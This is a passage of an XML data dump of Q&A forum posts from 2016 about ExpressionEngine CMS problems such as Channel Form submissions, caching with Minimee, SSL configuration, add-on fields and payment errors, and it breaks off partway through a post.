  <row Id="35797" PostTypeId="1" CreationDate="2016-03-07T22:02:16.450" Score="0" ViewCount="87" Body="&lt;p&gt;I'm currently trying to do quite a few things with Channel Form - unfortunately all of a sudden I'm starting to get some odd things happening. Instead of the page submitting nicely the url is doing this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://networkleeds.local/content?RET=http%3A%2F%2Fnetworkleeds.local%2Fcontent&amp;amp;URI=content&amp;amp;return_url=%2Fcontent%2Fpayment%2FENTRY_ID&amp;amp;author_id=1&amp;amp;channel_id=7&amp;amp;entry_id=0&amp;amp;ACT=2&amp;amp;meta=qDIxJOIvLN55gCICn%2BLSWCpg6AAVGjQOM38I8s7BJOTAv9ca1mKfPShy1s5pi8UjB58zSLf%2Br6nVBM6P4Q2Wb%2BiZhxRZCj8hlOnzhfICIRzA0s9M6ZGAn4IrnM2k7xr7XcvveK%2BnIVzajgE7x57v4PyY8ugnFm1lDsKTUZoEokwflILWFqjQf7Tf7odrx34V4NjbhHRkMRcYHzfgqdwHobi7hd%2BoAU7%2BGtq2wIywsZtvqKfsb4V7j7RuL%2BJUNgDDuCgDqz9VY4IGPjBJej2bjr63ljfaLAx2X36cwbJU4Pp5HQAA1VdVeS4xdj%2FAuWx6U2zzP8%2Bfnz%2BNP966nHBvXmbeplvj%2F0nqxJQEmJ4E%2BliY7bcaqh4zgmiVKWbVYZsMig9Yu8QGGGgo1JuDARJXb1hNeMzFNOWEQDyYwheQ0me%2BTS%2B1TjgfwujJ6xL%2FXwut82UWCN6CVzvRr0UdmaqnBg1tGHljXpcZ3lMcH646nbrGsuDs95eIu2Qwxt2wh6yLYzxhIruTC655JVNei2r9xhTpsmqd3DkiTJqW5cXh5tbyRvhnXpsBqjglqhxiu6Zis42bT1XQ4L73L5miVIxuGwwpv7szfgWCmKn7thwInPIKs8H4N%2F95dxdXLBu6XSsSPNYdfnZXgOx2ciM%2FCqxDaZyCOeXMOlFrhItnXgzCzp4%3D&amp;amp;return=%2Fcontent%2Fpayment%2FENTRY_ID&quot; rel=&quot;nofollow&quot;&gt;http://networkleeds.local/content?RET=http%3A%2F%2Fnetworkleeds.local%2Fcontent&amp;amp;URI=content&amp;amp;return_url=%2Fcontent%2Fpayment%2FENTRY_ID&amp;amp;author_id=1&amp;amp;channel_id=7&amp;amp;entry_id=0&amp;amp;ACT=2&amp;amp;meta=qDIxJOIvLN55gCICn%2BLSWCpg6AAVGjQOM38I8s7BJOTAv9ca1mKfPShy1s5pi8UjB58zSLf%2Br6nVBM6P4Q2Wb%2BiZhxRZCj8hlOnzhfICIRzA0s9M6ZGAn4IrnM2k7xr7XcvveK%2BnIVzajgE7x57v4PyY8ugnFm1lDsKTUZoEokwflILWFqjQf7Tf7odrx34V4NjbhHRkMRcYHzfgqdwHobi7hd%2BoAU7%2BGtq2wIywsZtvqKfsb4V7j7RuL%2BJUNgDDuCgDqz9VY4IGPjBJej2bjr63ljfaLAx2X36cwbJU4Pp5HQAA1VdVeS4xdj%2FAuWx6U2zzP8%2Bfnz%2BNP966nHBvXmbeplvj%2F0nqxJQEmJ4E%2BliY7bcaqh4zgmiVKWbVYZsMig9Yu8QGGGgo1JuDARJXb1hNeMzFNOWEQDyYwheQ0me%2BTS%2B1TjgfwujJ6xL%2FXwut82UWCN6CVzvRr0UdmaqnBg1tGHljXpcZ3lMcH646nbrGsuDs95eIu2Qwxt2wh6yLYzxhIruTC655JVNei2r9xhTpsmqd3DkiTJqW5cXh5tbyRvhnXpsBqjglqhxiu6Zis42bT1XQ4L73L5miVIxuGwwpv7szfgWCmKn7thwInPIKs8H4N%2F95dxdXLBu6XSsSPNYdfnZXgOx2ciM%2FCqxDaZyCOeXMOlFrhItnXgzCzp4%3D&amp;amp;return=%2Fcontent%2Fpayment%2FENTRY_ID&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some of my channels it is working fine - but as far as I can tell I haven't changed anything for the other ones. If I look at the code produced it seems to be that the action on the generated form tag is creating this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2017-10-18T17:17:17.823" Title="Channel form submit / return issues" Tags="|safecracker|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35798" PostTypeId="2" ParentId="35793" CreationDate="2016-03-08T02:18:22.353" Score="1" Body="&lt;p&gt;Make sure you setup your Test public key on the page and use approved Test Cards from Stripe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stripe.com/docs/testing&quot; rel=&quot;nofollow&quot;&gt;https://stripe.com/docs/testing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work appropriately.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2016-03-08T02:18:22.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35800" PostTypeId="1" CreationDate="2016-03-08T09:40:27.573" Score="0" ViewCount="99" Body="&lt;p&gt;I have a FreeForm form at the bottom of a page. When the form is submitted and returns with a validation message, the user is bounced back up to the top of the page. Is there a way to make sure the page is scrolled down at the same place in the document so the user isn't disoriented? &lt;/p&gt;&#xA;" OwnerUserId="7050" LastActivityDate="2016-03-20T19:09:01.387" Title="Page doesn't scroll to form if validation errors are shown" Tags="|solspace-freeform|solspace|forms|validation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35801" PostTypeId="1" CreationDate="2016-03-08T09:45:33.027" Score="0" ViewCount="61" Body="&lt;p&gt;I am using expressionengine 2 and trying to compress css and js files, i can see the cached in the cache folder on my site root folder but the site does not display, it keeps loading. &#xA;has there been anyone with this issue, are there any other alternatives for doing the above without slowing down the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="7080" LastActivityDate="2016-05-21T19:00:59.917" Title="minimee v2 and ee2 caching" Tags="|cache|caching|cache-breaking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35802" PostTypeId="2" ParentId="35800" CreationDate="2016-03-08T12:01:38.250" Score="0" Body="&lt;p&gt;The nature of freeform is to actually visit another URL on submit and on error return to the previous (form page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd look at implementing a JavaScript check prior and/or use Ajax to submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that I do recall an option to setup freeform with inline error checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double check the freeform docs.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-03-08T12:01:38.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35804" PostTypeId="1" CreationDate="2016-03-08T15:34:18.067" Score="0" ViewCount="23" Body="&lt;p&gt;I have a member group with 10,000 members. I need to delete all of those members plus all channel entries assigned to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-03-08T23:44:28.330" Title="Zoo Visitor: delete all in member group + channel entries" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35805" PostTypeId="2" ParentId="35801" CreationDate="2016-03-08T17:13:49.593" Score="0" Body="&lt;p&gt;I’d agree with Peter - start by breaking up the Minimee calls to give you lots of little minimee downloads: depending on how much stuff you have, maybe even try doing one per item to begin with.  Once you have done this, you can exploit the &lt;code&gt;queue / display&lt;/code&gt; feature to stack up more than one entry to see how combinging them works.  For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:minimee:css queue=&quot;header”}&#xA;… css stuff … &#xA;{/exp:minimee:css}&#xA;…other stuff…&#xA;{exp:minimee:css queue=&quot;header”}&#xA;… more css stuff … &#xA;{/exp:minimee:css}&#xA;… other stuff …&#xA;{exp:minimee:display css=&quot;header”}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will give you a single block of minimsed CSS cached by minimee that combines the two ‘header’ queues entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful documentation here - &lt;a href=&quot;http://johndwells.github.io/Minimee/&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.github.io/Minimee/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-08T17:13:49.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35806" PostTypeId="2" ParentId="32880" CreationDate="2016-03-08T21:04:17.333" Score="0" Body="&lt;p&gt;Have you looked at this add-on? &lt;a href=&quot;https://devot-ee.com/add-ons/add-vat&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/add-vat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2016-03-08T21:04:17.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35807" PostTypeId="1" CreationDate="2016-03-08T22:04:49.380" Score="0" ViewCount="1339" Body="&lt;p&gt;Does anyone know about any resources that explain how to get EE2 to play nicely with SSL certificates please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2019-08-17T19:02:00.243" Title="How to - configure EE to play nice with https...?" Tags="|ee2|ssl|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35808" PostTypeId="1" AcceptedAnswerId="35830" CreationDate="2016-03-08T22:40:18.377" Score="0" ViewCount="26" Body="&lt;p&gt;Just wondering if you can delete Field Editor without it running into issues with fields created with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking to upgrade to EE3 and Field Editor isn't supported yet.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2016-03-10T16:57:50.050" Title="Delete Field Editor" Tags="|field-editor|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35809" PostTypeId="2" ParentId="35804" CreationDate="2016-03-08T23:44:28.330" Score="0" Body="&lt;p&gt;I ended up appending the url that shows the members in the control panel, so that I could view 1000 at a time from member group 5. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;group_id=5&amp;amp;perpage=1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-03-08T23:44:28.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35811" PostTypeId="1" CreationDate="2016-03-09T01:52:30.560" Score="0" ViewCount="29" Body="&lt;p&gt;I'm trying to display all entries in certain months without caring about what year it's in. Currently the tag looks like (for February as an example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{embed:listingchannel}&quot; month=&quot;2&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it only shows entries from 2016 and not 2017. How could I make it pull in entries from future years?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bit of context: I'm putting an event calendar on a website. Some events listed are for the next year and I still want them to show even though it's not that year yet. It needs to be dynamic so I don't have to go in and update years every month to grab the future events that are listed.&lt;/p&gt;&#xA;" OwnerUserId="7178" LastActivityDate="2016-03-09T09:19:46.597" Title="Channel Entries Month Without Year?" Tags="|channel|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35812" PostTypeId="2" ParentId="35811" CreationDate="2016-03-09T09:19:46.597" Score="0" Body="&lt;p&gt;This is not possible with current scenario of ExpressionEngine Channel entries tag. You can create small plugin (pi file) to manage this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you are new in this and don't know to create plugin. I can create one for you.&lt;/p&gt;&#xA;" OwnerUserId="7087" LastActivityDate="2016-03-09T09:19:46.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35817" PostTypeId="1" CreationDate="2016-03-09T13:51:23.113" Score="0" ViewCount="52" Body="&lt;p&gt;I'm not able to make sense of how to use context=&quot;&quot; in stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not yet had to use it but I'm not sure if there are things I may have been able to handle more efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;could somebody give an example please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2016-05-06T13:22:55.903" Title="help understanding stash context=&quot;&quot;" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35818" PostTypeId="2" ParentId="35567" CreationDate="2016-03-09T15:25:56.067" Score="0" Body="&lt;p&gt;As I first stated, I'm sure this was a silly question. Dealt with the wonderful Devs of the Expresso Store who quickly were able to step through a few debugging items only to find the culprit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't have a price set for the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By simply setting the price 0.01 (or more), the Expresso Store happily displayed the full contents of the entry, and everything is working as expected. I hope my idiocy helps someone in the future!&lt;/p&gt;&#xA;" OwnerUserId="6809" LastActivityDate="2016-03-09T15:25:56.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35819" PostTypeId="1" AcceptedAnswerId="35822" CreationDate="2016-03-09T15:48:24.587" Score="0" ViewCount="52" Body="&lt;p&gt;Can't seem to figure out how to add members via Channel Form to a VMG Chosen Member field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Members need to be able to sign up for a session of their choosing on the front-end and be associated with that particular session in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't any documentation on the vmg_chosen_member git page other than how to format/style the field if you're using {field:session-attendees}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would pass the logged in member_id via a text input field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;sessions&quot; entry_id=&quot;{last_segment}&quot; id=&quot;session-registration&quot; class=&quot;session-form&quot; return=&quot;url/success&quot;}&#xA;&#xA;&amp;lt;input name=&quot;session-attendees&quot; type=&quot;text&quot; value=&quot;{member_id}&quot; /&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Register for this session&quot; /&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use {field:session-attendees} because the member signing up for a session does not need to see the other members signed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the proper way to add members to a chosen member field via Channel Form?&lt;/p&gt;&#xA;" OwnerUserId="6611" LastActivityDate="2016-03-09T16:32:07.677" Title="Using Channel Form to populate VMG Chosen Member Field with member_id" Tags="|safecracker|vmg-chosen-member|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35820" PostTypeId="2" ParentId="35376" CreationDate="2016-03-09T15:56:43.517" Score="0" Body="&lt;p&gt;The version 5.4.2 has terrible behaviour and I would say that is not for production use at all. Sorry DevDemon, it's nice add-on but this version isn't that stable. I switched to Matrix.&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2016-03-09T15:56:43.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35821" PostTypeId="2" ParentId="35807" CreationDate="2016-03-09T15:57:17.083" Score="0" Body="&lt;p&gt;Sussed it out - a couple of EE Addons had been set with hard-wired base URL entries that I had missed - so when I set it to HTTPS operation, they continued to serve items using the hardwired (non HTTPS) URLs.  One of these was Minimee and so none of the style sheets or js loaded due to insecure content.  &lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-09T15:57:17.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35822" PostTypeId="2" ParentId="35819" CreationDate="2016-03-09T16:32:07.677" Score="1" Body="&lt;p&gt;If you're wanting to pass in a member_id to a VMG Chosen Member field, you'll need to pass it in as an array with a single member_id. The following should work for you, but let me know if you still have issues!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;sessions&quot; entry_id=&quot;{last_segment}&quot; id=&quot;session-registration&quot; class=&quot;session-form&quot; return=&quot;url/success&quot;}&#xA;&#xA;&amp;lt;input name=&quot;field_id_1[]&quot; type=&quot;text&quot; value=&quot;{member_id}&quot; /&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Register for this session&quot; /&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(replace &lt;code&gt;field_id_1[]&lt;/code&gt; with the ID of your VMG Chosen Member field)&lt;/p&gt;&#xA;" OwnerUserId="657" LastActivityDate="2016-03-09T16:32:07.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35823" PostTypeId="1" CreationDate="2016-03-09T20:52:54.860" Score="0" ViewCount="96" Body="&lt;p&gt;If you look at this page on my website &lt;a href=&quot;http://www.cambridgeusa.org/insider&quot; rel=&quot;nofollow&quot;&gt;http://www.cambridgeusa.org/insider&lt;/a&gt; only 20 of my entries appear but I have many more. Is there a way to get all entries to appear?&lt;/p&gt;&#xA;" OwnerUserId="7179" LastEditorUserId="210" LastEditDate="2016-06-21T19:46:25.680" LastActivityDate="2016-06-21T19:46:25.680" Title="How to Get More Entries on a Page?" Tags="|channel-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35826" PostTypeId="1" CreationDate="2016-03-10T10:52:49.520" Score="1" ViewCount="33" Body="&lt;p&gt;We have a site that was migrated to a staging environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all the custom fields as well as the title/url_title fields, any edits/updates are not being saved. However, a new entry is being saved with the initially added content (then it becomes no longer updateable). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this? Oddly, it's working just fine in our local environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone in advance!&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2016-03-10T10:52:49.520" Title="Migrated site's entries not updating" Tags="|entries|update|migration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35827" PostTypeId="2" ParentId="35787" CreationDate="2016-03-10T14:30:15.933" Score="0" Body="&lt;p&gt;Turns out it was a bug in Publisher: seems to be referred obscurely as a &quot;&lt;a href=&quot;https://boldminded.com/add-ons/publisher/change-log&quot; rel=&quot;nofollow&quot;&gt;Grid persistence error&lt;/a&gt;&quot; in changelog that was fixed in 1.6.10.&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-10T14:30:15.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35828" PostTypeId="2" ParentId="35697" CreationDate="2016-03-10T14:32:28.823" Score="0" Body="&lt;p&gt;Turns out it was a bug in Publisher: seems to be referred obscurely as a &quot;&lt;a href=&quot;https://boldminded.com/add-ons/publisher/change-log&quot; rel=&quot;nofollow&quot;&gt;Grid persistence error&lt;/a&gt;&quot; in changelog that was fixed in 1.6.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would have got there sooner if Brian Litzinger had actually said as much in his posting above rather than just hinting at... &lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-10T14:32:28.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35829" PostTypeId="1" CreationDate="2016-03-10T14:43:34.813" Score="1" ViewCount="45" Body="&lt;p&gt;I'm trying to to create a new MSM site from one of the existing sites but i keep getting 500 internal errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking in the apache error log it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thu Mar 10 14:25:54 2016] [error] [client ::1] FastCGI: comm with&#xA;  server &quot;/Applications/MAMP/fcgi-bin/php5.4.42.fcgi&quot; aborted: idle&#xA;  timeout (30 sec), referer:&#xA;  &lt;a href=&quot;http://example.dev/ycmanage/index.php?S=0&amp;amp;D=cp&amp;amp;C=sites&amp;amp;M=add_edit_site&quot; rel=&quot;nofollow&quot;&gt;http://example.dev/ycmanage/index.php?S=0&amp;amp;D=cp&amp;amp;C=sites&amp;amp;M=add_edit_site&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have increased max_execution_time &amp;amp; max_input_time to 20 minutes and increased the memory allowance to 1024MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What more can i do?!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2016-05-26T03:16:38.880" Title="Creating new MSM site keeps timing out" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35830" PostTypeId="2" ParentId="35808" CreationDate="2016-03-10T16:57:50.050" Score="1" Body="&lt;p&gt;Yes, you can uninstall it with no problem. Your fields will remain intact.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2016-03-10T16:57:50.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35831" PostTypeId="2" ParentId="35773" CreationDate="2016-03-10T17:02:59.740" Score="1" Body="&lt;p&gt;A couple things. Usually get the the ERR_CONTENT_DECODING_FAILED error when there are PHP errors/notices breaking the gzip output. You can turn off Gzip Output in the Output and Debugging preferences. This will allow you to see what the errors are on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The errors are most likely strict and deprecation notices. If so, you can disable these error types in your PHP settings (PHP.ini or your host can help you).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_report = E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2016-03-10T17:02:59.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35833" PostTypeId="1" AcceptedAnswerId="35864" CreationDate="2016-03-10T18:28:52.413" Score="0" ViewCount="28" Body="&lt;p&gt;I have some template code that used to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;blog_related_entry&quot; limit=&quot;5&quot;}&#xA;{if count == 1}&#xA;&amp;lt;ul class=&quot;no-bullet&quot;&amp;gt;&#xA;  &amp;lt;li&amp;gt;Related Entries&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}blog/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count == total_results}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure when it broke, but with EE 2.8.1, Playa 4.5.2 this lists out the parent entry as a relationship 5 times, or 100 if there is no limit set. (I upgraded from Playa 4.1 in an attempt to solve the problem, I can't upgrade EE due to other issues.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what's happening here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&#xA;Andris (accepted answer below) found it was a combination of needing to set var_prefix, entry_id and change the EE template tags - namely enclose the IF conditional fields in quotes and curly braces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;blog_related_entry&quot; var_prefix=&quot;related_blog&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{if &quot;{related_blog:blog_published}&quot;==&quot;Yes&quot;}&#xA;{if &quot;{related_blog:count}&quot; == 1}&#xA;&amp;lt;ul class=&quot;no-bullet&quot;&amp;gt;&#xA;  &amp;lt;li&amp;gt;Related Entries&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}blog/{related_blog:url_title}&quot; title={related_blog:title}&amp;gt;{related_blog:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if &quot;{related_blog:count}&quot; == &quot;{related_blog:total_results}&quot;}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="1851" LastEditDate="2016-03-18T10:56:07.400" LastActivityDate="2016-03-18T10:56:07.400" Title="Playa lists own entry as relationship 100 times" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35834" PostTypeId="1" AcceptedAnswerId="35895" CreationDate="2016-03-10T19:03:38.500" Score="0" ViewCount="36" Body="&lt;p&gt;We're having a strange thing happening in CartThrob. We've set it things up to allow people to make donations (one-time or monthly) on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one particular instance, a donor from Germany attempted to make a donation but CT/EE gave her an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Payment failed, unspecified error&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the backend, the error is as so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vLSys.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLSys.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wouldn't be an issue except that Authorize.net processed the transaction successfully:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VJQEk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJQEk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what would cause this to happen. The donation form is set up to take international info, but maybe I missed something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what that code looks like: &lt;a href=&quot;http://pastie.org/private/5kpouwclti1gtkguvdvd7w&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastie.org/private/5kpouwclti1gtkguvdvd7w&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or suggestions would be helpful! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2016-03-18T13:58:34.987" Title="International order/donation failing in CartThrob but settling correctly in Authorize.net" Tags="|cartthrob|shopping-cart|authorize.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35835" PostTypeId="2" ParentId="35829" CreationDate="2016-03-10T22:43:38.270" Score="0" Body="&lt;p&gt;I believe you need to increase the -idle-timeout value in your vhost .conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html#FastCgiExternalServer&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html#FastCgiExternalServer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not able to configure this you probably need to figure out how to speed up the execution so it can complete in under 30 seconds. My guess is that MySQL is taking a long time to execute...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://stackoverflow.com/questions/17345016/mod-fastcgi-idle-timeout-not-work&quot;&gt;https://stackoverflow.com/questions/17345016/mod-fastcgi-idle-timeout-not-work&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2016-03-10T22:43:38.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35836" PostTypeId="1" AcceptedAnswerId="35841" CreationDate="2016-03-11T02:05:13.860" Score="0" ViewCount="71" Body="&lt;p&gt;Using the pagination feature in stash something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;    name=&quot;sv_blogs_post_list&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;    process=&quot;end&quot;&#xA;    prefix=&quot;st_pre&quot;&#xA;    limit=&quot;{stash:list_limit}&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&#xA;    {!-- THE PAGINATION --}&#xA;    {st_pre:paginate}&#xA;        {pagination_links}&#xA;            {previous_page}&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;btn btn-brick flat&quot;&amp;gt;Previous Post&amp;lt;/a&amp;gt;{/previous_page}&#xA;            {next_page}&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;btn btn-brick flat pull-right&quot;&amp;gt;Next Post&amp;lt;/a&amp;gt;{/next_page}&#xA;        {/pagination_links}&#xA;    